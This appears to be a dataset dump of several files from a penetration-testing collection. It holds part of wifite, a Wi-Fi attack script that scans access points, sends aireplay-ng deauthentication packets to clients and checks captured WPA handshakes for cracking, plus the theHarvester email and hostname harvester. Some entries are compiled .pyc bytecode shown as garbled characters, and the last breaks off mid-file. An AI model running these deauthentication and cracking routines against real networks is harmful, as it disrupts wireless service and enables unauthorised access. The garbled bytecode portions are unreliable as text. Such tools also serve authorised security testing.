subprocess.call(['rm','-rf',TEMPDIR+'wpa-01.cap',TEMPDIR+'wpa-01.csv',TEMPDIR+'wpa-01.kismet.csv',\
TEMPDIR+'wpa-01.kismet.netxml'])
# try to kill all processes
try:
os.kill(proc_read.pid, signal.SIGTERM)
os.kill(proc_deauth.pid, signal.SIGTERM)
except OSError:
pass
except UnboundLocalError:
pass
def has_handshake(capfile, essid, bssid):
result = False
proc_pyrit = subprocess.Popen('which pyrit', stdout=subprocess.PIPE, stderr=open(os.devnull,'w'), shell=True)
proc_pyrit.wait()
if proc_pyrit.communicate() != '':
#crack = 'pyrit -r ' + capfile + ' -o temp.cap strip'
#proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull,'w'),shell=True)
#proc_crack.wait()
crack = 'pyrit -r '+capfile+' analyze'
proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull,'w'),shell=True)
proc_crack.wait()
txtraw=proc_crack.communicate()
txt=txtraw[0].split('\n')
right_essid = False
for line in txt:
if line == '' or line == None:
continue
#print str(right_essid) + ": " + line
if line.find("AccessPoint") != -1:
right_essid = (line.find("('" + essid + "')") != -1) and (line.lower().find(bssid.lower()))
if right_essid:
if line.find(', good, ') != -1 or line.find(', workable, ') != -1 or line.find('handshake found') != -1 or line.find(', bad, ') != -1:
result = True
break
#print ''
else:
crack='echo "" | aircrack-ng -a 2 -w - -e "' + TARGETS[index][8] + '" '+TEMPDIR+'wpa-01.cap'
proc_crack = subprocess.Popen(crack, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w'), shell=True)
proc_crack.wait()
txt=proc_crack.communicate()
if txt[0].find('Passphrase not in dictionary') != -1:
result = False
else:
result = True
return result
def get_time(maxwait, starttime):
""" returns the time remaining based on maxwait and starttime
returns value in H:MM:SS format
"""
if maxwait == 0:
return 'endless'
else:
return sec2hms(maxwait - (time.time() - starttime))
def gettargets():
""" starts airodump-ng, outputs airodump data to 'wifite-01.csv'
searches for 10 seconds if user has selected 'all' essids
searches only specified channels/encryptions if specified by user
waits until a certain ssid appears if specified by user
otherwise, waits for ctrl+c command from user to stop
then,
displays the results to the user, asks for which targets to attack
adds targets to ATTACK list and returns
"""
global IFACE, CHANNEL, TARGETS, CLIENTS, ATTACK, ESSID, TEMPDIR, USING_XTERM, TIMEWAITINGCLIENTS, SCAN_MAXWAIT
TIME_START = time.time()
waiting = -1
try:
subprocess.call(['rm','-rf',TEMPDIR+'wifite-01.cap',TEMPDIR+'wifite-01.csv',TEMPDIR+'wifite-01.kismet.csv',\
TEMPDIR+'wifite-01.kismet.netxml'])
time.sleep(0.3)
cmd=['airodump-ng','-a','-w',TEMPDIR+'wifite','--output-format','csv']
if CHANNEL != '0':
cmd.append('-c')
cmd.append(CHANNEL)
cmd.append(IFACE)
proc = subprocess.Popen(cmd, stdout=open(os.devnull, 'w'), stderr=open(os.devnull, 'w'))
if ESSID == '':
print GR+'[+] '+W+'waiting for targets. press '+G+'Ctrl+C'+W+' when ready\n'
elif ESSID == 'all' or ESSID.startswith('pow>'):
time_wait=20
if CHANNEL == '0':
time_wait=30
for i in xrange(time_wait, 0, -1):
print GR+'\r[+] '+W+'waiting '+G+str(i)+W+' seconds for targets to appear. press '+O+'Ctrl+C'+W+' to skip the wait ',
sys.stdout.flush()
time.sleep(1)
parsetargets()
print '\n'
else:
print GR+'[+] '+W+'waiting for "'+G + ESSID +W+'" to appear, press '+O+'Ctrl+C'+W+' to skip...'
old=0
oldc=0
while 1:
time.sleep(1)
parsetargets()
if ESSID != '' and ESSID != 'all' and not ESSID.startswith('pow>'):
if waiting==-1:
for x in xrange(0, len(TARGETS)):
if TARGETS[x][8].lower() == ESSID.lower():
print GR+'\n[+] '+W+'found "'+G+ESSID+W+'", waiting '+G+str(TIMEWAITINGCLIENTS)+' sec'+W+' for clients...',
sys.stdout.flush()
ATTACK=[x+1]
waiting=0
break
else:
for x in xrange(0, len(TARGETS)):
if TARGETS[x][8].lower() == ESSID.lower():
print GR+'\r[+] '+W+'found "'+G+ESSID+W+'", waiting '+G+str(TIMEWAITINGCLIENTS-waiting)+' sec'+W+' for clients...',
waiting += 1
ATTACK=[x+1]
if waiting == TIMEWAITINGCLIENTS:
break
if waiting == TIMEWAITINGCLIENTS:
break
sys.stdout.flush()
else:
print '\r'+GR+'['+sec2hms(time.time()-TIME_START)+ \
'] '+G+str(len(TARGETS))+W+' targets and '+G+str(len(CLIENTS))+W+' clients found',
if ESSID == 'all' or ESSID.startswith('pow>'):
# wait for 10 seconds, then start cracking
if time.time() - TIME_START >= TIMEWAITINGCLIENTS+10:
break
sys.stdout.flush()
if SCAN_MAXWAIT and time.time() - TIME_START >= SCAN_MAXWAIT:
sys.stdout.flush()
break
print W
os.kill(proc.pid, signal.SIGTERM)
except KeyboardInterrupt:
#print GR+'[+] '+O+'killing airodump-ng process (pid ' + str(proc.pid) + ') ...'+W
print ''
waiting=TIMEWAITINGCLIENTS
try:
os.kill(proc.pid, signal.SIGTERM)
except UnboundLocalError:
pass
subprocess.call(['rm','-rf',TEMPDIR+'wifite-01.cap',TEMPDIR+'wifite-01.csv',TEMPDIR+'wifite-01.kismet.csv',\
TEMPDIR+'wifite-01.kismet.netxml'])
subprocess.call('rm -rf '+TEMPDIR+'wifite-01*.xor', shell=True)
if ESSID == 'all':
# add all targets to the list to attack
ATTACK=xrange(0, len(TARGETS))
if len(ATTACK) > 0:
print GR+'[+] '+W+'targeting: ',
for x in ATTACK:
print '"'+G + TARGETS[x-1][8] + W+'"',
print ''
updatesqlstatus('[+] targeting: ' + ' '.join([TARGETS[x-1][8] for x in ATTACK])) #python list comprehension
return
elif ESSID.startswith('pow>'):
ATTACK=[]
try:
power=int(ESSID[4:])
except ValueError:
print R+'[!] invalid power level: ' + ESSID + '; exiting'
print W
return
print ''
for i in xrange(0, len(TARGETS)):
try:
if int(TARGETS[i][5]) >= power:
print GR+'[+] '+W+'added to attack list: "'+G + TARGETS[i][8] + W+'" ('+G + TARGETS[i][5] + 'dB'+W+')'
ATTACK.append(i+1)
except ValueError:
print R+'[!] invalid AP power level: '+O + TARGETS[i][5] + R+'; moving on'
continue
# if we didn't add any targets...
if ATTACK==[]:
print R+'[+] there are no targets with a power level greater than '+O + str(power) + 'dB'
print R+'[+] try selecting a '+O+'lower power threshold'
print W
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
print GR+'[+] '+G+str(len(ATTACK))+W+' access points targeted for attack'
return
elif ESSID != '':
# see if we found the SSID we're looking for
if waiting == TIMEWAITINGCLIENTS:
#print '[+] found "' + ESSID + '"!'
return
else:
print GR+'[+] '+R+'unable to find "'+O + ESSID + R+'"'
print ''
if len(TARGETS) == 0:
print R+'[!] no targets found! make sure that '+O+'airodump-ng'+R+' is working properly'
print W
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
else:
print R+'[!] the program will now exit'+W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
print GR+'[+] '+W+'select the '+G+'number(s)'+W+' of the target(s) you want to attack:'
for i in xrange(0, len(TARGETS)):
# get power dB
try:
tempdb=int(TARGETS[i][5])
except ValueError:
tempdb=0
chcolor='G'
if (i < 9):
print '',
print G+str(i+1) +W+'.',
if tempdb >= 55:
chcolor=G
elif tempdb >= 40:
chcolor=O
else:
chcolor=R
print chcolor+'"'+ TARGETS[i][8] +'"',
if len(TARGETS[i][8]) >= 25:
print '\t',
pass
elif len(TARGETS[i][8]) > 17:
print '\t\t',
elif len(TARGETS[i][8]) >= 9:
print '\t\t\t',
elif len(TARGETS[i][8].strip()) == 0:
print '\t\t\t\t\t',
else:
print '\t\t\t\t',
print '(' + TARGETS[i][5] + 'dB ',
print TARGETS[i][2][:3] + ')',
if CLIENTS.get(TARGETS[i][0], None) != None:
print G+'*CLIENT*'+W
else:
print ''
print GR+'\n[+] '+W+'for multiple choices, use '+C+'dashes'+W+' for ranges and '+C+'commas'+W+' to separate'
print GR+'[+] '+W+'example: '+G+'1-3,5-6'+W+' would target targets numbered '+C+'1, 2, 3, 5, 6'
print GR+'[+] '+W+'to attack all access points, type "'+G+'all'+W+'"'+G
response = raw_input()
ATTACK=stringtolist(response, len(TARGETS))
if len(ATTACK) > 0:
for x in ATTACK:
print GR+'[+] '+W+'adding "'+G + TARGETS[x-1][8] + W+'" to the attack list'+W
def parsetargets():
"""reads through 'wifite-01.csv' and adds any valid targets to the global list TARGETS """
global TARGETS, CLIENTS, WEP, WPA, TEMPDIR, CHANNEL, IFACE, NO_HIDDEN_DEAUTH, USING_XTERM
DEAUTH=[]
TARGETS=[]
try:
f = open(TEMPDIR+'wifite-01.csv', 'r')
clients=False
lines = f.readlines()
for line in lines:
if line.find('Station MAC') != -1:
CLIENTS={}
clients=True
elif line.find('Authentication') == -1 and clients == False:
# access point
temp=line.split(', ')
if len(temp) >= 12 and temp[len(temp)-2].split() != '':
if temp[5].find('WPA') != -1 and WPA==True or \
temp[5].find('WEP') != -1 and WEP==True:
# remove uneccessary data
if temp[6].find(',') != -1:
# need to split authentication for WPA (CCMP,PSK)
temp.insert(7, temp[6][temp[6].find(',')+1:])
temp[6] = temp[6][:temp[6].find(',')]
temp.pop(1) # remove date/time first seen
temp.pop(1) # remove date/time last seen
temp.pop(2) # remove speed
temp.pop(6) # number of beacons
temp.pop(7) # LAN ip
temp.pop(len(temp)-1)
# get rid of trailing/leading spaces
temp[1] = temp[1].strip()
temp[2] = temp[2].strip()
temp[5] = temp[5].strip()
temp[6] = temp[6].strip()
temp[7] = temp[7].strip()
if int(temp[5]) < 0:
temp[5] = str(int(temp[5]) + 100)
if int(temp[7]) == len(temp[8]) and temp[8] != '' and temp[8] != ( chr(0) * len(temp[8])):
TARGETS.append(temp)
elif temp[8] == ( chr(0) * len(temp[8])) and CHANNEL != '0':
# it's a hidden network and we're on a fixed channel
client=CLIENTS.get(temp[0],None)
if client != None and NO_HIDDEN_DEAUTH==False:
# we have a client, better call deauth
deauth_cmd = ['aireplay-ng','-0','1','-a',temp[0],'-c',client,IFACE]
DEAUTH.append(deauth_cmd)
elif line.find('Station MAC') == -1 and clients == True:
# client
temp=line.split(',')
if len(temp) > 5:
#CLIENTS.append([ temp[0], temp[5] ])
if CLIENTS.get(temp[5].strip(), None) == None:
CLIENTS[temp[5].strip()] = temp[0]
f.close()
except IOError:
print R+'\n[!] the program was unable to capture airodump packets!'
print R+'[+] please ensure that you have aircrack-ng v1.1 or above installed'
if USING_XTERM:
print GR+'[!] '+W+'close this window at any time to exit wifite'+W
else:
print R+'[!] the program is unable to continue and will now exit'
print W
subprocess.call(['rm','-rf',TEMPDIR])
sys.exit(0)
# sort the targets by power
TARGETS = sorted(TARGETS, key=lambda targets: targets[5], reverse=True)
if len(DEAUTH) > 0:
msg='[sending hidden deauth'
if len(DEAUTH) > 1:
msg+='s'
msg+=']'
print ''+O+' [sending hidden deauth] '+W,
for d in DEAUTH:
sys.stdout.flush()
subprocess.call(d, stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
else:
print ' ',
def stringtolist(s, most):
"""
receives string, returns list
sorts low-to-high, removes duplicates, truncates anything more than 'most'
'all' returns entire list (1 to most)
'a-b' selection, separated by hyphen, adds everything between and including numbers a and b
'a,b,c' multiple selection, separated by commas, adds a b and c
'a' single selection, just the number, adds a
"""
lst=[]
try:
if s == 'all' or s == '"all"':
for i in xrange(1, most+1):
lst.append(i)
elif s.find(',') == -1 and s.find('-') == -1:
lst=[int(s)]
else:
sub=s.split(',')
for i in sub:
if i.find('-') != -1:
tmp=i.split('-')
for j in xrange(int(tmp[0]), int(tmp[1]) + 1):
lst.append(j)
else:
lst.append(int(i))
except ValueError:
print R+'[+] error! invalid input'+W
lst = sorted(lst)
# remove duplicates
i = 0
while i < len(lst) - 1:
if lst[i] == lst[i+1] or lst[i] > most:
lst.pop(i)
i -= 1
i += 1
if len(lst) == 0:
return []
if lst[len(lst)-1] > most:
lst.pop(len(lst)-1)
return lst
def datetime():
""" returns current date/time in [yyyy-mm-dd hh:mm:ss] format, used by logit() """
return '[' + time.strftime("%Y-%m-%d %H:%M:%S") + ']'
def sec2hms(sec):
""" converts seconds to h:mm:ss format"""
if sec < 0:
return '0:00:00'
s = int(sec)
h=int(s/3600)
s=s%3600
m=int(s/60)
s=s%60
result='' + str(h) + ':'
if m < 10:
result += '0'
result += str(m) + ':'
if s < 10:
result += '0'
result += str(s)
return result
def random_mac():
""" generates a random mac address
not *too* random, chances of it being from an actual vendor are likely """
# ranges used:
# 00-00-00 -> 00-27-FF ALL
# 00-30-00 -> 00-E0-FF (00-X0-XX)
lst=['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
if random.randint(0,1) == 0:
result = '00:'
temp = str(random.randint(0,27))
if len(temp) == 1:
temp='0'+temp
result+=temp+':'
for i in xrange(0,8):
result+=lst[random.randint(0,15)]
if i % 2 == 1 and i < 7:
result+=':'
else:
result='00:' + lst[random.randint(3,14)] + '0:'
for i in xrange(0,8):
result+=lst[random.randint(0,15)]
if i % 2 == 1 and i < 7:
result+=':'
return result
main() # launch the main method
subprocess.call(['rm','-rf',TEMPDIR])
subprocess.call('rm -rf /tmp/wifite*', shell=True, stdout=open(os.devnull,'w'),stderr=open(os.devnull,'w'))
# helpful diagram!
# TARGETS list format
# ['XX:XX:XX:XX:XX:XX', '1', 'WPA2WPA', 'CCMP', 'PSK', '48', '0', '11', 'Belkin.A38E']
# BSSID, CHANNEL, ENC, CYPH, ??, POWER,IVS,SSID_LEN, SSID
# 0 1 2 3 4 5 6 7 8
| 119,239
|
Python
|
.py
| 3,018
| 34.909874
| 246
| 0.628291
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,420
|
theHarvester.py
|
pwnieexpress_raspberry_pwn/src/pentest/theharvester/theHarvester.py
|
#!/usr/bin/env python
import string
import httplib, sys
from socket import *
import re
import getopt
from discovery import *
import hostchecker
print "\n*************************************"
print "*TheHarvester Ver. 2.0 (reborn) *"
print "*Coded by Christian Martorella *"
print "*Edge-Security Research *"
print "*cmartorella@edge-security.com *"
print "*************************************\n\n"
def usage():
print "Usage: theharvester options \n"
print " -d: Domain to search or company name"
print " -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,exalead,all)"
print " -s: Start in result number X (default 0)"
print " -v: Verify host name via dns resolution and search for vhosts(basic)"
print " -l: Limit the number of results to work with(bing goes from 50 to 50 results,"
print " google 100 to 100, and pgp does'nt use this option)"
print " -f: Save the results into an XML file"
print "\nExamples:./theharvester.py -d microsoft.com -l 500 -b google"
print " ./theharvester.py -d microsoft.com -b pgp"
print " ./theharvester.py -d microsoft -l 200 -b linkedin\n"
def start(argv):
if len(sys.argv) < 4:
usage()
sys.exit()
try :
opts, args = getopt.getopt(argv, "l:d:b:s:v:f:")
except getopt.GetoptError:
usage()
sys.exit()
start=0
host_ip=[]
filename=""
bingapi="yes"
start=0
for opt, arg in opts:
if opt == '-l' :
limit = int(arg)
elif opt == '-d':
word = arg
elif opt == '-s':
start = int(arg)
elif opt == '-v':
virtual = arg
elif opt == '-f':
filename= arg
elif opt == '-b':
engine = arg
if engine not in ("google", "linkedin", "pgp", "all","google-profiles","exalead","bing","bing_api","yandex"):
usage()
print "Invalid search engine, try with: bing, google, linkedin, pgp"
sys.exit()
else:
pass
if engine == "google":
print "[-] Searching in Google:"
search=googlesearch.search_google(word,limit,start)
search.process()
all_emails=search.get_emails()
all_hosts=search.get_hostnames()
if engine == "exalead":
print "[-] Searching in Exalead:"
search=exaleadsearch.search_exalead(word,limit,start)
search.process()
all_emails=search.get_emails()
all_hosts=search.get_hostnames()
elif engine == "bing" or engine =="bingapi":
print "[-] Searching in Bing:"
search=bingsearch.search_bing(word,limit,start)
if engine =="bingapi":
bingapi="yes"
else:
bingapi="no"
search.process(bingapi)
all_emails=search.get_emails()
all_hosts=search.get_hostnames()
elif engine == "yandex":# Not working yet
print "[-] Searching in Yandex:"
search=yandexsearch.search_yandex(word,limit,start)
search.process()
all_emails=search.get_emails()
all_hosts=search.get_hostnames()
elif engine == "pgp":
print "[-] Searching in PGP key server.."
search=pgpsearch.search_pgp(word)
search.process()
all_emails=search.get_emails()
all_hosts=search.get_hostnames()
elif engine == "linkedin":
print "[-] Searching in Linkedin.."
search=linkedinsearch.search_linkedin(word,limit)
search.process()
people=search.get_people()
print "Users from Linkedin:"
print "===================="
for user in people:
print user
sys.exit()
elif engine == "google-profiles":
print "[-] Searching in Google profiles.."
search=googlesearch.search_google(word,limit,start)
search.process_profiles()
people=search.get_profiles()
print "Users from Google profiles:"
print "---------------------------"
for users in people:
print users
sys.exit()
elif engine == "all":
print "Full harvest.."
all_emails=[]
all_hosts=[]
virtual = "basic"
print "[-] Searching in Google.."
search=googlesearch.search_google(word,limit,start)
search.process()
emails=search.get_emails()
hosts=search.get_hostnames()
all_emails.extend(emails)
all_hosts.extend(hosts)
print "[-] Searching in PGP Key server.."
search=pgpsearch.search_pgp(word)
search.process()
emails=search.get_emails()
hosts=search.get_hostnames()
all_hosts.extend(hosts)
all_emails.extend(emails)
print "[-] Searching in Bing.."
bingapi="yes"
search=bingsearch.search_bing(word,limit,start)
search.process(bingapi)
emails=search.get_emails()
hosts=search.get_hostnames()
all_hosts.extend(hosts)
all_emails.extend(emails)
print "[-] Searching in Exalead.."
search=exaleadsearch.search_exalead(word,limit,start)
search.process()
emails=search.get_emails()
hosts=search.get_hostnames()
all_hosts.extend(hosts)
all_emails.extend(emails)
print "\n[+] Emails found:"
print " -------------"
if all_emails ==[]:
print "No emails found"
else:
for emails in all_emails:
print emails
print "\n[+] Hosts found"
print " -----------"
if all_hosts == []:
print "No hosts found"
else:
full_host=hostchecker.Checker(all_hosts)
full=full_host.check()
vhost=[]
for host in full:
print host
ip=host.split(':')[0]
if host_ip.count(ip.lower()):
pass
else:
host_ip.append(ip.lower())
if virtual == "basic":
print "[+] Virtual hosts:"
print "----------------"
for l in host_ip:
search=bingsearch.search_bing(l,limit,start)
search.process_vhost()
res=search.get_allhostnames()
for x in res:
print l+":"+x
vhost.append(l+":"+x)
full.append(l+":"+x)
else:
pass #Here i need to add explosion mode.
#Tengo que sacar los TLD para hacer esto.
recursion=None
if recursion:
limit=300
start=0
for word in vhost:
search=googlesearch.search_google(word,limit,start)
search.process()
emails=search.get_emails()
hosts=search.get_hostnames()
print emails
print hosts
else:
pass
if filename!="":
file = open(filename,'w')
file.write('<theHarvester>')
for x in all_emails:
file.write('<email>'+x+'</email>')
for x in all_hosts:
file.write('<host>'+x+'</host>')
for x in vhosts:
file.write('<vhost>'+x+'</vhost>')
file.write('</theHarvester>')
file.close
print "Results saved in: "+ filename
else:
pass
if __name__ == "__main__":
try: start(sys.argv[1:])
except KeyboardInterrupt:
print "Search interrupted by user.."
except:
sys.exit()
| 6,245
|
Python
|
.py
| 216
| 25.884259
| 112
| 0.668384
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,421
|
hostchecker.pyc
|
pwnieexpress_raspberry_pwn/src/pentest/theharvester/hostchecker.pyc
|
Ñò
�ŞÂMc @ s5 d Z d d k Z d d k Z d d d „ ƒ YZ d S( s$
Created by laramies on 2008-08-21.
iÿÿÿÿNt Checkerc B s e Z d „ Z d „ Z RS( c C s | | _ g | _ d S( N( t hostst realhosts( t selfR ( ( s0 /pentest/enumeration/theharvester/hostchecker.pyt __init__ s c C s^ xT | i D]I } y+ t i | ƒ } | i i | d | ƒ Wq
t j
o } q
Xq
W| i S( Nt :( R t sockett
gethostbynameR t appendt Exception( R t xt rest e( ( s0 /pentest/enumeration/theharvester/hostchecker.pyt check s
( t __name__t
__module__R R
( ( ( s0 /pentest/enumeration/theharvester/hostchecker.pyR
s ( ( t __doc__t sysR R ( ( ( s0 /pentest/enumeration/theharvester/hostchecker.pyt <module> s
| 977
|
Python
|
.py
| 11
| 87.818182
| 340
| 0.427094
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,422
|
parser.py
|
pwnieexpress_raspberry_pwn/src/pentest/theharvester/parser.py
|
import string
import re
class parser:
def __init__(self,results,word):
self.results=results
self.word=word
self.temp=[]
def genericClean(self):
self.results = re.sub('<em>', '', self.results)
self.results = re.sub('<b>', '', self.results)
self.results = re.sub('</b>', '', self.results)
self.results = re.sub('</em>', '', self.results)
self.results = re.sub('%2f', ' ', self.results)
self.results = re.sub('%3a', ' ', self.results)
self.results = re.sub('<strong>', '', self.results)
self.results = re.sub('</strong>', '', self.results)
for e in ('>',':','=', '<', '/', '\\',';','&','%3A','%3D','%3C'):
self.results = string.replace(self.results, e, ' ')
def urlClean(self):
self.results = re.sub('<em>', '', self.results)
self.results = re.sub('</em>', '', self.results)
self.results = re.sub('%2f', ' ', self.results)
self.results = re.sub('%3a', ' ', self.results)
for e in ('<','>',':','=',';','&','%3A','%3D','%3C'):
self.results = string.replace(self.results, e, ' ')
def emails(self):
self.genericClean()
reg_emails = re.compile('[a-zA-Z0-9.-_]*' + '@' + '[a-zA-Z0-9.-]*' + self.word)
self.temp = reg_emails.findall(self.results)
emails=self.unique()
return emails
def fileurls(self,file):
urls=[]
reg_urls = re.compile('<a href="(.*?)"')
self.temp = reg_urls.findall(self.results)
allurls=self.unique()
for x in allurls:
if x.count('webcache') or x.count('google.com') or x.count('search?hl'):
pass
else:
urls.append(x)
return urls
def people_linkedin(self):
reg_people = re.compile('">[a-zA-Z0-9._ -]* profiles | LinkedIn')
self.temp = reg_people.findall(self.results)
resul = []
for x in self.temp:
y = string.replace(x, ' LinkedIn', '')
y = string.replace(y, ' profiles ', '')
y = string.replace(y, 'LinkedIn', '')
y = string.replace(y, '"', '')
y = string.replace(y, '>', '')
if y !=" ":
resul.append(y)
return resul
def profiles(self):
reg_people = re.compile('">[a-zA-Z0-9._ -]* - <em>Google Profile</em>')
self.temp = reg_people.findall(self.results)
resul = []
for x in self.temp:
y = string.replace(x, ' <em>Google Profile</em>', '')
y = string.replace(y, '-', '')
y = string.replace(y, '">', '')
if y !=" ":
resul.append(y)
return resul
def hostnames(self):
self.genericClean()
reg_hosts = re.compile('[a-zA-Z0-9.-]*\.'+ self.word)
self.temp = reg_hosts.findall(self.results)
hostnames=self.unique()
print hostnames
return hostnames
def hostnames_all(self):
reg_hosts = re.compile('<cite>(.*?)</cite>')
temp = reg_hosts.findall(self.results)
for x in temp:
if x.count(':'):
res=x.split(':')[1].split('/')[2]
else:
res=x.split("/")[0]
self.temp.append(res)
hostnames=self.unique()
return hostnames
def unique(self):
self.new=[]
for x in self.temp:
if x not in self.new:
self.new.append(x)
return self.new
| 2,960
|
Python
|
.py
| 90
| 29.255556
| 81
| 0.606125
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,423
|
parser.pyc
|
pwnieexpress_raspberry_pwn/src/pentest/theharvester/parser.pyc
|
—Ú
èfi¬Mc @ s/ d d k Z d d k Z d d d Ñ É YZ d S( iˇˇˇˇNt parserc B sb e Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z d Ñ Z
d Ñ Z RS(
c C s | | _ | | _ g | _ d S( N( t resultst wordt temp( t selfR R ( ( s+ /pentest/enumeration/theharvester/parser.pyt __init__ s c C s t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d
d | i É | _ x) d D]! } t i | i | d É | _ qfl Wd S( Ns <em>t s <b>s </b>s </em>s %2ft s %3as <strong>s </strong>t >t :t =t <t /s \t ;t &s %3As %3Ds %3C( R R R
R R s \R
R s %3As %3Ds %3C( t ret subR t stringt replace( R t e( ( s+ /pentest/enumeration/theharvester/parser.pyt genericClean
s c C sú t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ t i d d | i É | _ x) d D]! } t i | i | d É | _ qs Wd S( Ns <em>R s </em>s %2fR s %3aR R R R
R
R s %3As %3Ds %3C( R R R R
R
R s %3As %3Ds %3C( R R R R R ( R R ( ( s+ /pentest/enumeration/theharvester/parser.pyt urlClean s c C sI | i É t i d d | i É } | i | i É | _ | i É } | S( Ns [a-zA-Z0-9.-_]*t @s [a-zA-Z0-9.-]*s [a-zA-Z0-9.-_]*@( R R t compileR t findallR R t unique( R t
reg_emailst emails( ( s+ /pentest/enumeration/theharvester/parser.pyR s
c C så g } t i d É } | i | i É | _ | i É } xO | D]G } | i d É p | i d É p | i d É o q= | i | É q= W| S( Ns <a href="(.*?)"t webcaches
google.coms search?hl( R R R R R R t countt append( R t filet urlst reg_urlst allurlst x( ( s+ /pentest/enumeration/theharvester/parser.pyt fileurls' s 0c C s… t i d É } | i | i É | _ g } xò | i D]ç } t i | d d É } t i | d d É } t i | d d É } t i | d d É } t i | d d É } | d j o | i | É q4 q4 W| S( Ns& |